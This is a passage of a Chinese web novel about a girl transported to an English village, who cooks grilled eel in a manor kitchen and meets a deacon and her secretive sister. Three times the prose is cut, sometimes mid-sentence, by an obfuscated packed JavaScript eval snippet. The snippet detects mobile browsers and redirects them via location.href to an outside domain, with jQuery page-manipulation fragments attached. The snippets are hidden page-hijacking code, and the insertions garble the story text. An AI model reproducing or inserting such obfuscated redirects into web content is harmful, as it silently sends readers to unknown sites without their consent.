莫莉太太穿着一身藏青色棉麻长裙，腰间系着干净的白色围裙，上面星星点点地沾着些油渍。她头戴白色女佣帽，几缕棕发调皮地垂在泛红的脸颊边。听到喊声，她停下手中切菜的动作，抬起头，目光温和地看向门口的两人。 “莫莉太太，这是新来的安珀，罗拉太太让她在后厨工作。”莉莉走上前一步，笑着介绍道。 “您好，莫莉太太。”安珀紧跟其后，微微欠身，礼貌地问好。 “这么小？会干活吗？”莫莉太太微微皱眉，眼里带着一丝怀疑。 她英文带着浓浓的地方口音，神奇的是，安珀竟然能像听到母语一样理解，她只能暗自感叹穿越的神奇。 “我已经十三岁了。” 已经是第二次被人质疑的安珀丝毫不慌，拿出刚刚面对罗拉太太的镇定，对莫莉太太的疑问对答如流。 “Good！ “现在你们去把土豆清洗干净。”莫莉太太利落地吩咐道，说完便转身忙活自己的事儿去了。 莉莉朝安珀眨了眨眼，意思像在说“我说的没错吧”。 可能是安珀看着年龄不大的缘故，莫莉太太压根没想过她会偷师这个问题，所以做什么事情都不避着她。 莫莉太太把提前做好的酥皮擀开放入刷好黄油的碗中，然后把蘑菇、欧芹、百里香来腌制兔肉和猪肉，最后把调好的馅料放入酥皮内。 一步一步，井井有条。 在人们的刻板印象里，英式料理往往跟黑暗料理挂钩，其实不然。 英国也是一个拥有长远的饮食历史的国度（虽然无法与华夏相比，但也算得上美食王国）之所以后世英国美食风评如此差，这一切来源于快速的工业革命。 不过英式料理真正地衰弱是在二战以后，现在距离战争还有几十年的时间，除了底层的工人阶级和农民们，英国的新旧贵族依然保留着传统的饮食习惯。 因此，对于莫莉太太制作的料理，安珀并不敢生轻视之心。 既然她来到了这个时代，就应该尽快学习知识，增长自己的技能，快速地融入这里。 来赫伯庄园打工是个很好的学习机会。 在安珀思绪飘飞的瞬间，莫莉太太又依次在馅料中加入面粉、白葡萄酒和高汤。 安珀猜测此举应该是为了去腥，让肉质更加柔软。 最后，莫莉太太娴熟地用酥皮给料理封顶，然后把碗放入锅中隔水炖煮。 安珀本来猜这或许是一道派，但是莫莉太太这一神来之笔又让她迷惑了。 水槽旁，莉莉依然在勤勤恳恳地洗土豆，可安珀的心早就不在土豆上了，她手里动作不停，眼睛却时不时瞟向莫莉太太的一举一动。 午餐过后，一位眼生的女佣来到后厨，要求安珀在晚餐时准备她拿手的炙烤鳗鱼。 安珀心里清楚，自己的第一项任务来了，能不能在赫伯庄园留下，成败在此一举。 “你会烹饪？” “是的，莫莉太太。” 简单的烹饪对于穷人家的孩子是必要的生存技能。但是能让罗拉太太看上，肯定有什么不同凡响之处，莫莉太太如是想到。 思及此，莫莉太太露出与声线完全不符的温和笑容，对安珀说道：“不用那么拘谨，孩子。好好准备吧！” 随后她又提出后厨有从伦敦运来的鳗鱼罐头，安珀听后，毫不犹豫地摇了摇头。 “炙烤鳗鱼必须用最新鲜的鳗鱼，我想，或许得去市场上采购一番。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542044|171019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安珀表达完自己的想法后，莫莉太太犹豫了一下，最终还是破例同意让莉莉带她去一趟集市，还特意叮嘱：“早去早回。” 莉莉一路星星眼地跟着安珀出了赫伯庄园。 “哦，我的上帝，你居然会烹饪。我说罗拉太太那么严肃刻薄的人，怎么会留下你呢。” 安珀配合着莉莉适时露出疑惑的神情。 “用女佣的薪资聘请到了一位厨娘，她可真会打算！”莉莉一边走，一边咋呼着揭晓答案。 “这么一来，我岂不是后厨最没用的那个人？我不会被开除吧！”说着，她双手紧紧合十，放在胸前，一脸虔诚地作祈祷状。 安珀十分喜欢莉莉有话直说的性子，忍不住提醒加打趣：“你会不会被开除我不知道，但是如果你继续说罗拉太太的坏话，保不齐会有人告状哦～” 莉莉先是紧张地四处张望，过了好一会儿才发现安珀是开玩笑的，嗔怪了她几句这才放松下来。 * 午后的阳光变得温暖，怀揣着忐忑激动的心情，安珀第一次踏入集市。 戈恩镇并不大，集市也很小，一个个摊位错落在房屋街角的缝隙中。 摊位只用了简单的粗木搭就，不精致却质朴而实用。 摊位上，摆满了琳琅满目的物品—— 纯天然无公害的蔬果散发着泥土的芬芳：圆润的番茄泛着诱人的红色，饱满的豌豆在豆荚里鼓鼓囊囊。一旁的奶制品摊位上，整齐划一地摆满车轮状的奶酪块，黄油则被精心塑造成小巧的砖形，上面还压印着农户自家的标志。 空气中弥漫着刚出炉的肉馅派香气，那是集市上最受欢迎的小吃，香味就像一只无形的手，牵引着人们的味蕾，让人忍不住垂涎三尺。 莉莉在摊位间灵活地穿梭，轻车熟路地带着安珀来到一家鱼铺。 此时已过了集市最热闹的时候，摊位上零零散散地摆着些海货。 卖鱼的小贩瞧见安珀和莉莉满脸失望，赶忙热情凑上前，满脸堆笑地说：“姑娘们，虽说鳗鱼不是最新鲜的，但这确实是今早刚送来的，再晚可真就没啦！” 莉莉撇了撇嘴，指着鳗鱼直言：“您瞧这鱼眼都有点浑浊了，还讲新鲜呢？便宜些吧，不然我们就去别家啦。” 小贩一听，急忙摆手解释：“哎哟，真不能再低啦，成本摆在这儿呢。” 莉莉听罢，不慌不忙地抛出了一个诱饵：“我们都在赫伯夫人的府邸做事，要是你的鱼品质好又实惠，往后我们还会常来采购，保准给你带来不少生意。这长期的买卖，可划算着呢！” 安珀闻言，眼中闪过一丝诧异，她原本以为莉莉年纪小，说话做事直来直去，没成想还有精明的一面。 小贩听完，脸上闪过一丝犹豫，眼珠子滴溜一转，心里快速盘算着利弊。 终于，他一咬牙，像是下了很大决心：“行吧，看在你们的诚意和赫伯夫人的面子上，再给你们额外添上几条小鲱鱼，一共收一个半先令，真的没法再少咯！” 莉莉还想再还价，但安珀心里明白，这个时代保鲜技术落后，想要买到活蹦乱跳、绝对新鲜的鳗鱼，简直是奢望。 她轻轻叹了口气，伸手拉了拉莉莉的袖子，轻声劝道：“看着还行，就买了吧。” 莉莉犹豫了一小会儿，最终点头应下。两人付了钱，提着鱼，心满意足地离开了鱼铺。 5. 帅哥你是谁 离开鱼铺后，两人慢悠悠地走在蔬果区的路上，莉莉边走边嘟囔：“那小贩可真会做生意，添几条小鲱鱼就想把我们打发了。” 鲱鱼也是英国人餐桌上常客，可以做成腌渍的白鲱鱼和腌渍风干再烟熏的红鲱鱼。 安珀笑了笑说：“不过一个半先令能买到这些，也很划算啦。如今物价飞涨，罗拉太太若是看到咱们买的鱼，说不定还会夸咱们持家呢。” 莉莉撇撇嘴：“她可难伺候了，上次我打扫餐厅慢了些，就被念叨了好久。也不知道用这些鳗鱼做出来的菜肴，能不能合赫伯夫人的胃口。” 安珀站定，拍了拍莉莉的肩膀：“你可以质疑别的，但是不能质疑我的厨艺。” 她好久没有露一手了，都快憋坏了。 只是炙烤鳗鱼光有鱼可不够。 安珀对莉莉说：“我还需要买点别的，恐怕得去商铺看看。” 刚刚买鱼还剩下不少钱，莉莉想了想也同意了。 两人并肩出了热闹嘈杂的市集，不多时，便来到了小镇的核心区域。 与市集的喧闹截然不同，这里弥漫着庄重又宁静的气息。 放眼望去，小镇唯一的教堂高高矗立，哥特式的尖顶直插云霄，在阳光的映照下，更显得神圣而庄严。一旁古朴砖石建筑的镇政府，散发着岁月沉淀的韵味，庄重而肃穆。 穿过这片核心区域，再往前走一段路，便能看到那一排紧密相连的商铺。 还未走近，便能听见此起彼伏的吆喝声： “新鲜出炉的面包，又香又软！” “上好的香料，来自遥远东方的独特风味！” “鳗鱼冻，鳗鱼冻，每日现做的鳗鱼冻，只要五便士就能饱餐一顿！” “东方香料”四个大字像磁石一般，瞬间就吸住了安珀的耳朵，她的眼睛刷地一下亮了起来，脚步也不自觉地加快了。 安珀被香料店的广告词吸引，走得飞快，莉莉被远远甩在了身后。 哪怕明知道这样偏远的小镇不可能有来自华夏的香料，可她还是忍不住想去看一眼。 如果早知道自己会穿越，她是绝对不会留在纽约埋头创业。而是选择早早回到祖国，陪伴在家人身侧，享受这份弥足珍贵的亲情。 没多久，安珀就站在了那间号称有东方香料的铺子前。 刚一进入室内，一股混合着各种香料的奇特气味扑面而来。 铺子内部布置十分简陋，空间狭小，货架上的香料横七竖八地摆放着。看似不起眼的玩意儿，价格却高得惊人。 台面上红红黄黄地摆了一桌，有常见的欧芹、百里香、肉桂、迷迭香，也有比较罕见的香草、荜茇bìbá①、天堂籽、马哈利…… 而伙计宣传的所谓东方香料，不过是来自于印度的姜黄和咖喱叶。 说不失望是假的，但本着来都来了的心情，安珀还是耐心地挑选起来。 过去，她做菜时惯用的是花椒、八角、桂皮等华夏香料。后来为了迎合老美的口味，她才开始使用一些西方香料。 如今身处异乡，这些香料以后倒是要经常打交道了。她告诉自己，必须尽快熟悉这个时代的香料特性，适应新的烹饪方式。 见安珀又看又闻又摸，始终拿不定主意。伙计原本脸上还挂着职业性的微笑，时间一长，笑容渐渐消失，眼神里透露出不耐烦。正巧这时有别的客人进门，伙计如获大赦，赶忙快步迎了上去，同时撂下一句“您慢慢看吧”，就把安珀晾在了原地。 “嘿，伙计，来一盒Punch雪茄！” 身后另一家商铺传来的声音，让安珀愣了愣，只因这道声音实在太过熟悉。 “再来两瓶哥顿酒，一起给我包起来！” 她没听错，这怎么听着像威尔逊先生？ 可转念一想，威尔逊先生一周的薪水不过四十先令，还要负担一家七口全部的生活花销，哪有钱消费这些？更何况现在还是上班时间…… 对方拿上东西很快就离开了。 安珀匆匆结了账，双腿不受控制地跟了上去。 男人走得匆忙，脚步急促，似乎有什么急事。 安珀身形娇小，始终与他始终隔着一段不远不近的距离，加上来来往往的行人，轻易地就能阻隔她的视线。 等她一路追着男人来到一家酒馆门口，那个疑似威尔逊先生的身影却消失得无影无踪了。 酒馆门口，一个打扮轻佻明艳的女子正悠闲地晒着太阳，看样子应该是老板娘。她身旁站着一位身材魁梧的欧罗巴大汉。大汉双臂交叉抱在胸前，虎视眈眈地盯着安珀，眼神中充满警惕。 就在老板娘准备开口驱赶之前，安珀飞速地朝酒馆里面瞥了一眼。 这家酒馆规模不大，空间狭窄昏暗，大白天也开着门营业。 酒馆内弥漫着一股混合着酒精和烟草的味道，隐约还能看见几个醉汉趴在吧台上，其中并没有她刚刚看到的那个身影。 “安珀，你跑哪去了？”莉莉气喘吁吁地追了上来。 小镇就这么大，她显然也不是怕安珀丢了。只是罗拉太太为了防止佣人们利用上班时间偷溜出去玩，给所有负责采购的人设定了两小时的外出时间，一旦超时，就会面临责罚。 这年头又没有手表手机，无法估摸准确的时间，外出的采购人员只能抓紧速度干活。 “不好意思，我挑花眼了，不知不觉就走到这了。你看我买了什么——” 安珀一边说着，一边展示手中的食材。她去追人不假，路上看见需要的食材顺手就买了，所以并没有耽误多少事。 “行了，咱们赶紧回去吧。”生怕莉莉追究她中途开小差的事情，安珀赶紧拉着她就要走。 可刚刚还满脸急切的莉莉，此刻却忸怩起来，她微微低下头，声音带着一丝羞涩：“安珀，那个……咱们好不容易出来一趟，要不，去教堂看看？” “教堂？”安珀下意识地反问。 莉莉误以为她担心耽误时间，急忙摆了摆手，语速飞快地解释道：“没事的！我算过了，来集市花了五分钟，走回去要八分钟，买东西加上你走失的时间是半小时，我们有充足的时间逛一圈。我现在可是能精准把控采购时间了。” 安珀看了一眼日头，心中默默盘算起来。赫伯家的晚餐时间是下午六点，现在差不多才两点左右，这么个小镇，花半小时一来一回怎么也够了。刚巧她对这个古典小镇也很感兴趣，趁机逛一逛也行。 *< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542045|171019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 两人回到市中心的广场。 刚刚还庄严肃穆的教堂门前，此刻聚集了无数衣衫褴褛的贫民，将入口围得水泄不通。 “怎么突然多了这么多人？”安珀眉头紧皱，脸上满是疑惑。 当一位牧师打扮的老年人捧着装满食物的篮子现身，人群瞬间像炸开的锅—— 男人们瞪着猩红的双眼，不顾一切地往前冲。人群被推搡着向前涌，不断有人被撞倒在地，发出痛苦的呻吟，却很快又被其他人踩过。女人和孩子们尖声叫着试图从混乱的缝隙中挤进去，瘦弱的身体在人潮中左摇右晃，怀里还紧紧护着更年幼的孩子。孩子们吓得哇哇大哭，声音被嘈杂的人声淹没。尖叫声此起彼伏，广场上一度极其混乱。 深受华夏教育的熏陶，安珀的第一反应就是这样混乱无序的情况极易引发踩踏事件，为了生命安全考虑，她赶忙紧紧拉住莉莉，把人带离了危险区域。 莉莉对此却习以为常，在喧闹的人堆旁，她不得不提高嗓音为安珀解释：“爱德华牧师每年圣诞前一周，都会分发食物给这些可怜人，你之前一定不知道吧。” 说着，莉莉还偷偷打量安珀。虽然不知道对方为什么来做女佣，但举手投足间的气质和做惯粗活的自己截然不同。从看见安珀的第一眼起，她就在心里默默把两人划分到了不同的阶级。 这是安珀第一次接触这个时代的底层人民。 这个号称“日不落帝国”的庞大国度，正拖着腐朽的身躯逐渐老去。它没有后人想象的那般伟大与辉煌，强盛的表面下，也有数不尽的穷苦百姓在困顿中挣扎。他们的人生正在陷入无尽的沼泽，任由身躯被时代一点点吞噬。 贫穷、饥饿、绝望、麻木…… 无论时代如何变迁，财富与特权永远只青睐一小部分人。 安珀内心五味杂陈，本以为自己穿越到这个时代已经够倒霉了，现在看起来，似乎又有些幸运。 她深知仅靠爱德华牧师每年一次的施舍，根本无法真正改变穷人的命运。只有建立完善的社会福利体系，普及义务教育，才能从根本上改善底层人民的生活状况。毕竟在遥远的21世纪，依旧还有很多人在温饱线上挣扎呢。 莉莉神色黯然，声音里透着一丝悲凉：“要是不去赫伯夫人家做工，恐怕此刻我也在这群人里。” 这是安珀第一次听莉莉提起自己的出身。想来这么小的年纪就出来打工，家里肯定不富裕。她做不到感同身受，只能拍拍莉莉的肩膀以示安慰。 这时，前方的儿童们爆发出一阵欢呼。 安珀这才注意到，牧师身后跟着一位青年。 青年长得非常抢眼，完全不输上个世纪几位大名鼎鼎的英伦童星，安珀忍不住多看了几眼。 对方身形修长，穿着一身剪裁合身的咖色粗花呢外套，雪白的衬衣领口格外醒目。深棕色的头发在阳光下泛着光泽，柔顺地搭在宽阔的额头上。幽蓝的双眸澄澈深邃，高挺的鼻梁下，薄唇微微上扬，有种慈悲又淡泊的疏离感。 他仅仅是站在那里，喧嚣的人群就沦为了默片里的背景板。 告子说：“食色，性也。” 这是安珀穿越以来，看见的第一个帅哥，遂忍不住多看了几眼。 6. 炙烤鳗鱼 青年熟练地维护起了秩序，他目光随意地逡巡了几圈，很快便锁定了几个在人群中鬼鬼祟祟、意图寻衅滋事的混混。然后大步流星地劈开人群，精准地揪住其中两人的衣领，将人速度带离队伍，任凭他俩如何挣扎谩骂都无济于事。 治安官赶忙上前将混混们制伏带走。 少了搅屎棍子，原本几近失控的人群，终于得到了控制。 莉莉的忧伤来得快去得也快，她兴奋地拿胳臂捅了捅安珀，目光却炽热地盯着青年：“他叫奥尔兰多，是新来的执事。每年圣诞前，爱德华牧师也会买一些礼物送给这些贫苦的孩子，看来今年是由他负责。” 自1534年，英格兰国王亨利八世与罗马教廷关系破裂后，英国国教就置于国王控制下，不受罗马教宗统治，英国圣公会逐渐成为英国的国教。① 与基督教不同，新教没有那么严格的等级制度，组织形式较为多样和灵活。莉莉所说的执事，安珀理解为牧师的助手。 同样，新教对信徒要求也不苛刻，只强调《圣经》是信仰的唯一准则，礼仪也相对简化。 安珀一家算比较忠实的新教教徒，除了每日的餐前祷告和偶尔做礼拜，几乎没有什么别的活动。 安珀瞧莉莉那目不转睛的模样，忍不住打趣：“你认识他？” “那当然！爱德华牧师常带他去赫伯府。”说起奥尔兰多，莉莉仿佛眼睛里都闪着光。 “虽然他目前还只是个执事，但赫伯夫人非常看好他。大伙儿都说等老爱德华退休以后，让他担任新的牧师呢。” 众所周知，牧师是可以结婚的。 这个时代的女孩普遍比较早熟，看来小丫头是春心萌动了。 安珀感觉自己嗅到了八卦的气息，她一脸了然却也不忘提醒：“行吧。看归看，我们只有十五分钟了，亲爱的时钟小姐。” 似乎是感受到两人炙热的目光，奥尔兰多朝她们看过来。 眼神交汇的瞬间，安珀几乎是下意识地偏了偏头，以防偷窥被抓包。 “啊！他朝这边看过来了！”莉莉声音里满是紧张与兴奋，一双眼睛瞪得溜圆。 下一秒，她压低声音急促地说：“遭了遭了，他朝咱们这边走来了！ “怎么办，天哪！” 莉莉的声音微微颤抖，整个人高度紧绷。 奥尔兰多迈着沉稳的步伐走近，他本人并不凶厉，周身散发着温和的气息，声音低沉而富有磁性。 “两位女士，教堂后面正在分发礼品。若你们有需要，不妨去排队领取。” “谢谢。”安珀脸上立马挂上得体的微笑，礼貌回应对方。 奥尔兰多微微点头示意，没有多做停留，转身离开了。 等人离开以后，莉莉彻底陷入了痴迷，她捂着狂跳不止的胸膛，呢喃道：“他叫我女士诶。” 安珀虽然惊叹于奥尔兰多的容貌，但是更多的还是被对方话语中的礼物所吸引。 她提议：“原来我们也可以领，要不去看看？但愿不要耽误太久。” 毕竟她现在可是穷人，比起帅哥，自然还是占便宜更重要一点。 莉莉对此自然一拍即合，她指了指塔顶的巨型大钟：“我都看着时间呢！” 对于贫苦的孩子而言，能得到礼物的机会犹如凤毛麟角，大家都格外珍惜，队伍里一片寂静，只有偶尔的脚步声和轻微的呼吸声。 队伍有条不紊地向前挪动。安珀和莉莉在寒风中足足等了十五分钟，终于各自从奥尔兰多手中接过一个礼盒。 或许是重回童年的缘故，安珀感觉自己也变得天真幼稚起来。只是一份小小的礼物，竟也让她内心雀跃。 她迫不及待地打开礼盒，一副针脚细密的手套静静躺在里面，轻轻抚摸还能感受指尖传来的柔软触感。 想起二姐科琳常年打理家中的农场，每到冬日就会长满冻疮的双手。 她比自己更适合这双套。 尤其是安珀也不确定玛利亚太太是否能坚定地不给伊丽莎白援助。倘若不坚定的话……有了这双手套，科琳也不至于太过失望。 打定主意，安珀决定给科琳一个惊喜。 莉莉得到的是一个木制玩偶，玩偶的工艺谈不上精湛，线条粗糙，模样甚至有些笨拙。但莉莉从未拥有过玩具，她紧紧抱着玩偶，爱不释手。 * 回到赫伯庄园的后厨，安珀整个人的状态瞬间切换。前一刻还与莉莉嬉笑打闹，下一秒就变成了职业厨娘。 变脸速度之快，令莉莉直咂嘴。 莫莉太太也来帮忙，她也想看看这个自称擅长厨艺的小姑娘到底水平如何。 安珀一边把自己买的东西整理出来，一边把前世制作鳗鱼的步骤快速在脑子里过了一遍。 眼前的鳗鱼虽然不如现杀的新鲜，但由于现在还是冬季，保存状态还算可以。 她将鳗鱼放在案板上，手持锋利的刀具，动作娴熟且精准地从鳗鱼的颈部插入，沿着脊背一路划开，迅速去除内脏，再用清水反复冲洗，直至鳗鱼的腹腔内没有一丝杂质，其肉质呈现出纯净的淡粉色。 嘶—— 这刀有些不顺手啊。 还是她的中式菜刀好用。 莫莉太太被安珀这干脆利落的刀法惊到了，下意识脖子一缩，莫名觉得有些血腥残忍。 “莉莉，帮我生个炉子！” 安珀把处理好的鳗鱼放入碗中，倒入后厨有限的白兰地、柠檬汁和月桂叶去腥，手指灵活地给鳗鱼按摩，确保不落下每一寸鱼肉。 然后她另起一个锅子，把刚刚剔下来的鳗鱼骨、白兰地、酱油、麦芽糖再加少许蜂蜜一起炖煮。 等莉莉的炉子烧热，火焰开始发出“噼里啪啦”的声响，安珀才发现，后厨居然没有烧烤架。 OMG！ 差点忘了，这已经不是她在纽约的厨房了！那些熟悉的厨具、便利的设备都已经不在了。 安珀来回踱步两圈，强制自己迅速冷静下来。 “有树枝吗？要干净的，细的，果木最佳！” “有！我去帮你找！”莉莉风风火火地跑了出去。 待莉莉找来果木签子，鱼肉腌制得刚刚好。安珀用特殊的方法，在不损伤鳗鱼外皮的情况下，将它们穿起来，然后把鳗鱼架在炉子上烤。 在鱼肉与烤架接触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542046|171019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的瞬间，发出“嗞啦”的声音，鱼油开始滋滋冒泡，散发出阵阵焦香。 这时候刚刚炖好料汁就派上用场了。 安珀用刷子蘸取腌料，刷在鳗鱼上，时不时翻动表面，使得鱼肉炙烤得更加均匀。 随着时间的推移，鳗鱼表面逐渐变成金黄微焦的色泽，鳗鱼慢慢吸收了调料的精华，通过炙烤，空气中开始弥漫着诱人的香气。 莫莉太太从未见过如此复杂精细的料理方式。往往她上一步骤还没想通，对方就已经进行到下一步了，还有那独特的调味方式…… 伴随着安珀的每一次翻动，都会有一阵更加浓郁的香气飘散。 等鳗鱼彻底变成酱色，再撒上少许白芝麻与荷兰芹，一道炙烤鳗鱼便大功告成。 莉莉狠狠吸了吸鼻子，刚刚莫莉太太做好的野兔肉布丁在这道炙烤鳗鱼面前，瞬间没有了吸引力。 安珀叉了两块卖相没那么好的放在两人的盘子里。 “尝尝吧！” 她嘴上说得随意，实则还是非常期待两人对自己手艺的反馈。 莫莉太太和莉莉对视一眼，均没有动作。 安珀还以为自己犯了什么忌讳。难道在这个时代，上菜前试吃一下都不可以吗？ “还是我先来吧！” 莉莉举着叉子郑重剜了一小块放进嘴里，砸吧砸吧好像没品出什么，又重新把一整块纳入口中，然后一脸享受地闭起了眼睛。 莫莉太太在一旁眼巴巴地等着莉莉的评价，可半天都没等到回应，内心的急切再也按捺不住，索性自己动手。 用蜂蜜烤过的鳗鱼，鱼皮会自带一股脆焦香，而海鱼本身肉质也更加鲜嫩。更让人惊喜的是，经由安珀处理的鳗鱼竟然没有一丝腥味，唇齿间萦绕着的是麦芽糖的甜蜜、酱油的醇厚鲜香与荷兰芹清新独特的香气。各种味道相互交织、彼此映衬，层次丰富。 鳗鱼刺很少，食用时完全不需要担忧。莉莉几乎风卷残云般吃完盘中鳗鱼，然后意犹未尽地舔了舔叉子上的酱汁，又眼巴巴看向烤架，恨不得再吃几块，可惜没有了。 莫莉太太也是一脸满足，细嚼慢咽着最后一口，她由衷感慨道：“今天也算是大开眼界了！亲爱的安珀，以你的厨艺水平，完全可以成为一个独立的厨娘。 “天知道，你今年才十三岁！多亏罗拉太太慧眼，给我找到了这么优秀帮手。” 听着莫莉太太夸张叙述，恨不得把自己描述成一个神童，安珀略有些心虚。 但见她脸上只有坦然和佩服，并无忌惮与挑剔，安珀悬着的心终于放下了。 临上菜前，她灵机一动，找来几片干面包均匀地刷上一层细腻的奶酪酱，再将烤好的鳗鱼一片片整齐地铺在上面，最后点缀上几片翠绿的柠檬叶。 一番巧妙的组合后，一道独具创意的炙烤鳗鱼奶酪塔便完成了。 这不一下子就变西式了嘛！ 晚饭过后，安珀和莉莉要负责清洗庄园所有的餐具，倒是与安珀前世做学徒时的工作不谋而合，所以她上手非常快，没有丝毫压力。 一小时后，那位眼生的女佣再一次找了过来，这次却是因为赫伯夫人的传唤。 7. 拜师学艺 冬日的夜晚总是降临得格外早，才傍晚时分，天色就已经全然暗了下来。 安珀独自站在连廊里，周遭静谧得可怕，她甚至能清晰地听见自己的心跳声，一下又一下，在这死寂般的夜里，显得格外突兀。 在一刻钟漫长地等待后，她终于听到正厅里罗拉太太的声音。 安珀轻轻推开大门，极力克制着内心的紧张。为了不出洋相，她还刻意放慢了脚步，让每一步都走得沉稳而端庄。 好在大厅的壁炉烧得暖烘烘的，安珀紧张的神经一下子被这舒适的温度缓解了。 可她紧绷的肩线刚要放松，余光却突然扫到主位边上的倩影。 下一秒，安珀瞪大了双眼—— 伊丽莎白？！ 她怎么坐那儿？ 此时的伊丽莎白已经换下白天那身棉麻的粗布裙衫，只身着一件米色修身连衣裙，款式简洁却不失优雅，恰到好处地勾勒出她的身形。一条纯白的羊绒披肩随意地搭在肩头，细腻的绒毛泛着柔和的光泽，更衬得她肌肤胜雪。披肩的一角自然垂落，随着她的一举一动轻轻摆动，举手投足间都散发着别样的气质，宛如一位真正的贵族小姐。 在安珀进来之前，她正和赫伯夫人亲密交谈着，那模样俨然就是一对亲密的母女，画面十分温馨。 姐妹俩都没想过，彼此会在这样的环境下见面。 伊丽莎白眼神闪烁，心虚地移开了视线。 安珀则尽快调整心绪，像其他女佣一样垂着头，等待主人家的问话。 赫伯夫人是个典型的白人贵妇。为了纪念自己早逝的丈夫，她只穿了一件黑色丝绒长裙，虽无佩戴任何首饰，却无不彰显她高贵典雅的气质。 尽管年过四十，她的脸上也只留淡淡的岁月痕迹，让人很难联想到她有个和伊丽莎白年纪相仿的儿子。 就保养这方面来说，她与玛利亚太太绝对有着天壤之别。 这并不是说赫伯夫人容貌超群，只是玛利亚太太原先也是个大美人，却因常年操持家务、生儿育女，皮肤状态和精气神都远不如赫伯夫人，眉眼间尽是疲惫，容貌反倒是落了下乘。 想来也是，每一次怀胎生子，都是在鬼门关前走一遭。不仅要承受生育风险，更是加速了容颜的衰老，个中艰辛，旁人又如何能知？ 安珀越是紧张，脑子里越是胡思乱想。 她暗忖，在没有足够的经济实力之前，自己绝对不能服从威尔逊先生的盲婚哑嫁。 必要时，哪怕拼得鱼死网破，她也要离开这个家。 赫伯夫人对伊丽莎白的慌张毫无察觉，脸上挂着一贯和善的笑容，对安珀说道：“好孩子，你叫安珀对吗？你做的鳗鱼真是太美味了。伊丽莎白，你觉得呢？” 伊丽莎白愣了一下，随即结结巴巴地应道：“哦，是，当然。我从没吃过这么好吃的鳗鱼。” 上位者对下位者的称赞，安珀可不敢当真，更何况赫伯夫人的态度更倾向于随口一提。 安珀施了一礼，谦逊地说道：“您谬赞了，夫人。” 赫伯夫人微微点头，显然对安珀的得体表现颇为满意：“我想圣诞当天，还需要你跟莫莉一起做一道烤牛肋条。至于甜品……” “就做圣诞派和圣诞布丁吧。”一道清朗的男声突然从门口传来。 理查德步伐轻快地走进大厅，眉眼带笑，随手将衣帽递给候在一旁的佣人，“看来我回来的正是时候。” “亲爱的，你终于回来了，快来尝尝这道烤鳗鱼。”赫伯夫人的语气里满是宠溺。 或许是遗传了赫伯夫人的美貌，这位理查德少爷确实有点小帅，但是比起今天下午教堂前看见的那位执事先生，安珀只能说差远了。 从理查德踏入大厅的那一刻起，伊丽莎白的目光便紧紧地黏在了他的身上，眼睛里满满的爱意几乎要溢出来，仿佛整个世界只剩下他一个人。 赫伯夫人微笑着吩咐道：“那就做这些吧，我很期待你的手艺。” 安珀恭敬告退：“是的，夫人。”随后缓步退出大厅，轻轻带上雕花木门。 门内传来赫伯夫人嗔怪的声音：“你这一趟去了三日，真是太辛苦了。” 理查德语气坚定：“我可是赫伯家的男人，守护这份家业是我应该做的。” 接着，伊丽莎白不知说了什么俏皮话，惹得赫伯夫人母子朗声大笑。笑声透过门缝飘出，三人亲密无间的模样，宛如真正的一家人。 “这位……”安珀这才想起，自己还不知道这位眼生女佣的名字。 “你可以叫我艾达。”可能是安珀的能力受到了主人家的肯定，女佣也愿意给她一个好脸色。 “好的，艾达，我想请问一下，坐在夫人身边的那位女士……”安珀故作随意地问。 艾达先是环顾了一圈四周，这才露出欲言又止的神色：“嗳，你可别误会，她可不是我们家的小姐，我们少爷是夫人独子……”她刻意拖长尾音，压低嗓音道：“她、她跟我们一样，只是个佣人。” 至于为什么身为佣人的伊丽莎白可以跟主人一样平起平坐，艾达没有多说，只是留下一句：“日子长了，你自然就知道了。”便匆匆离开了。 安珀攥着围裙往厨房走，石板路上的倒影被月光拉得老长。脑海里像放电影一样不断回放着刚才看到的画面，心里的疑惑也愈发浓重。 忽然后方传来急促的脚步声，像是有人小跑着追来。 “安珀——”伊丽莎白的声音带着破风的喘息。 安珀转身惊讶道：“伊丽莎白？” “听着，你今天看见的一切都不许说出去，知道吗？” 安珀还以为伊丽莎白会问自己祖传菜谱的事情，却不知道对方根本不会做菜，还以为真的是玛利亚太太私下传授给自己的。 她觉得有些好笑，忍不住问：“所以？能请你先解释一下，为什么穿成这样坐在夫人边上吗？” “你在质问我？听着，安珀，我是姐姐，我这么做自有我的道理！”伊丽莎白涨红着脸，试图用提高嗓音威慑住妹妹，“你给我老老实实呆在厨房，别再往前厅凑！”见安珀神色冷淡并不接话，伊丽莎白又只好咬咬牙，抛出一个让人无法拒绝的条件：“作为交换，我会想办法说服夫人让你留下做长期工。 “前提是，你不能把这一切告诉爸爸妈妈。” 这确实是一个不错的交易，安珀想。 